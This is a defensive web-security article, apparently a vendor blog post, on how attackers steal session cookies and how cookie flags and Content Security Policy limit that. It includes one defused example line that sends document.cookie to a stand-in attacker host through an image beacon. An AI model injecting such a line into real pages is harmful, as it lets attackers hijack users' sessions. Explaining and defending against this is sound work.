How attackers steal cookies and hijack sessions, and the flags that stop them
A stolen session cookie is a logged-in user: no password needed, MFA already passed. How cookie theft actually works, what HttpOnly, Secure and SameSite each do, and where CSP covers what the flags cannot.
An attacker who wants into your users’ accounts rarely bothers with the password. The session cookie your server sets after login is worth more, and it is often easier to take.
Attackers steal session cookies mainly by getting JavaScript to run inside the victim’s page, through an XSS vulnerability or a compromised third-party script, then reading document.cookie and shipping the value to a server they control. Replaying that cookie logs them in as the victim: no password prompt, no MFA challenge, because the victim already passed both. The defense is a stack: the HttpOnly, Secure and SameSite cookie attributes, the __Host- prefix, short session lifetimes, and a Content Security Policy for the cases the attributes cannot reach.
Why the session cookie is the prize
The cookie is the session. After login, your server stops checking passwords and starts checking a session identifier on every request, trusting whoever presents it. To the backend, a request carrying a valid session cookie simply is the user, whichever machine it comes from.
This is why cookie theft bypasses MFA by construction. The second factor was verified once, at login, and the cookie is the receipt. Entire malware families exist to do nothing but pull cookie jars off infected laptops, precisely because a fresh session cookie is worth more than a password that still has MFA standing in front of it.
How attackers steal cookies
The main route is script access. Any JavaScript running in your page can read every cookie not marked HttpOnly, and the script does not have to arrive through a vulnerability in your own code. A tag manager container someone edited, an analytics script served compromised from its CDN, a widget four dependencies deep: they all execute with identical authority in the page. Once running, exfiltration is conceptually one line:
// conceptual and defused: this is the whole attack
new Image().src = 'https://collect.attacker.example/?c=' + document.cookie;
An image beacon, a fetch, a WebSocket: any outbound channel the browser allows will carry the value out. Nothing about this is visible to the user, and nothing about it is visible to you either, unless something in the browser is reporting.
Two non-script routes deserve a paragraph. Without the Secure flag, a cookie travels over plain HTTP and anyone positioned on the network path can read it. HTTPS everywhere has made this rarer, not extinct. And CSRF is the adjacent case people mix up: the attacker never learns the cookie, they trick the victim’s browser into spending it on a forged request, a confused-deputy problem that SameSite was designed to close.
HttpOnly, Secure, SameSite: what each defense actually does
| Defense | What it stops | What it does not stop |
|---|---|---|
HttpOnly | Scripts reading the cookie via document.cookie | A script acting as the user from inside the page |
Secure | The cookie traveling over plain HTTP | Anything happening at the script level |
SameSite=Lax | Cookie sent on cross-site POSTs and subrequests | Top-level link navigations still carry it, and it is useless against XSS on your own site |
SameSite=Strict | Cookie sent on any cross-site request, link clicks included | Users arriving from external links look logged out |
SameSite=None | Nothing: it opts out for legitimate cross-site embeds, and requires Secure | |
__Host- prefix | The cookie being set insecurely, from a subdomain, or scoped to a path | |
| Short lifetime, rotation on privilege change | Limits how long a stolen cookie stays valid | The theft itself |
HttpOnly is the single highest-value flag: it removes the entire read-and-exfiltrate route in one attribute, and in fifteen years I have seen exactly one legitimate reason to omit it from a session cookie (it did not survive review). A sane default for a session cookie looks like this:
Set-Cookie: __Host-session=<id>; Path=/; Secure; HttpOnly; SameSite=Lax; Max-Age=28800
Rotate the identifier at login and on privilege changes, and keep Max-Age shorter than feels comfortable. A stolen cookie that expires in eight hours is a much smaller incident than one that lasts a month.
HttpOnly protects the cookie, not the session
Here is the honest architecture point. With HttpOnly set, an injected script cannot read the cookie, but it is still executing inside an authenticated page. It can submit forms, call your APIs, change the account email, and the browser will attach the session cookie to every one of those requests itself. The attacker acts as the user without ever holding the credential.
Modern single-page apps make it worse: sessions held as tokens in localStorage or in JavaScript-readable memory get no HttpOnly protection at all, because the flag only exists for cookies.
This is where Content Security Policy earns its place in the stack. A script that cannot execute cannot steal or impersonate anything, and connect-src closes the exfiltration channel for whatever slips through. It is also the only layer here that can tell you an attempt happened: cookie flags fail silently, while a CSP emits a violation report from the victim’s own browser the moment something tries to load or phone home where it should not. We built CentralCSP to collect and index those reports, because a blocked exfiltration you never hear about is a warning wasted.
Flags on the cookie, CSP on the page, reporting on the CSP. That order, and the wider client-side security picture around it, is the difference between preventing the last incident and noticing the next one.
Frequently asked questions
Can XSS steal session cookies?
Yes, if the cookie lacks the HttpOnly flag: injected JavaScript reads document.cookie and sends it to a server the attacker controls. With HttpOnly set, the script cannot read the cookie value, but it can still issue requests as the logged-in user from inside the page, so HttpOnly limits the damage without ending it.
What is the difference between SameSite Lax and Strict?
Lax withholds the cookie on cross-site subrequests and cross-site POSTs but still sends it when the user follows a normal link to your site, so people arrive logged in. Strict withholds it on every cross-site request including that link click, which is safer but means users landing from an email or another site look logged out.
Is HttpOnly enough to protect my sessions?
No. HttpOnly protects the cookie value, not the session. A script running in the page can still act as the user without ever reading the cookie, and applications that keep tokens in localStorage get no HttpOnly protection at all. You still need to control which scripts can run, which is what a Content Security Policy does.
What does the __Host- cookie prefix do?
A cookie named with the __Host- prefix is only accepted by the browser if it is marked Secure, set from a secure page, has Path=/ and no Domain attribute. That prevents an attacker who controls a subdomain or an insecure channel from planting or overwriting your session cookie.